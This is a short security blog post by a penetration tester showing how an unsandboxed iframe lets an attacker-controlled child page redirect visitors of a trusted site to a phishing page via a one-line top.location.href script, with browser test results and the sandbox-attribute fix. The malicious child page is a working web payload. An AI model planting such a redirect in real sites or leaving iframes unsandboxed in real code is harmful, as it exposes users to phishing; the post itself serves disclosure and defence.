Escaping an Unsandboxed Iframe

James GallagherJames Gallagher
2 min read

In this post I show how a malicious redirect can be performed on a trusted website if the trusted site contains an unsandboxed iframe pointing to an untrusted site.

Consider this scenario:

  1. A website which the victim is likely to trust allows other sites to be presented as an iframe.

  2. An attacker creates a malicious site which is presented in the trusted site as an iframe.

  3. The victim navigates to the trusted site via a watering hole or social engineering attack.

  4. The victim is forcibly redirected to a phishing page due to an iframe escape.

Here is an example trusted parent website with an iframe:

<!DOCTYPE html>
<html>
<head>
    <title>Hello World Parent</title>
</head>
<body>
    <h1>Hello World</h1>
    <iframe src="http://10.0.0.2:8000/child.html"></iframe>
</body>
</html>

And here is an example malicious child website containing the iframe escape:

<!DOCTYPE html>
<html>
<head>
    <title>Child Site</title>
</head>
<body>
    <script>top.location.href = "https://example.com";</script>
</body>
</html>

We can see above that the trusted site presents an iframe pertaining to a site an attacker can control and the iframe is being escaped by the attacker with top.location.href. Although it’s unlikely the attacker will be able to run arbitrary JavaScript in the context of the parent site, a redirect is still possible.

I have tested this exploit on the browsers shown below and found it to work.

Windows:

-Edge 134.0.3124.51 64-bit (latest)

-Firefox 136.0 64-bit (latest)

-Chrome 134.0.6998.89 (latest)

Linux:

-Firefox 136.0 64-bit (latest)

-Chromium 134.0.6998.35 (latest)

-Brave 1.76.73 64-bit (latest)

On some targets containing an iframe with the redirect exploit, I have found Chromium-based browsers to show a warning that is minimized by default and only viewable if the user clicks an icon in the address bar. In those situations exploitation is infeasible except on Firefox.

This warning isn’t always presented and depends on the target, it seems.

The fix for this iframe escape is trivial. If the trusted website simply uses the sandbox attribute, then the redirect exploit will not be successful.

Here is an example trusted parent website using an iframe which is properly sandboxed:

<!DOCTYPE html>
<html>
<head>
    <title>Hello World Parent</title>
</head>
<body>
    <h1>Hello World</h1>
    <iframe sandbox src="http://127.0.0.1:8000/child.html"></iframe>
</body>
</html>
0
Subscribe to my newsletter

Read articles from James Gallagher directly inside your inbox. Subscribe to the newsletter, and don't miss out.

Written by

James Gallagher
James Gallagher

I grew up in the (TRS-)80's playing and creating text based adventure games on monochrome displays. My first infosec experience was booting a hacker from a dial-up BBS at around 12 years old. Then I became a professional violinist. But then I decided that I like to eat food, so I got back into computers in 2006. I've been hacking professionally since 2015 and I still know nothing - which is the best way to approach hacking. I really enjoy this work and have done well for myself by not expecting other's to teach me and just creating my own test environments from scratch to try stuff. Now I have a fun job at a pentesting firm where I pentest Big 5 clients and play electric violin when I feel like it.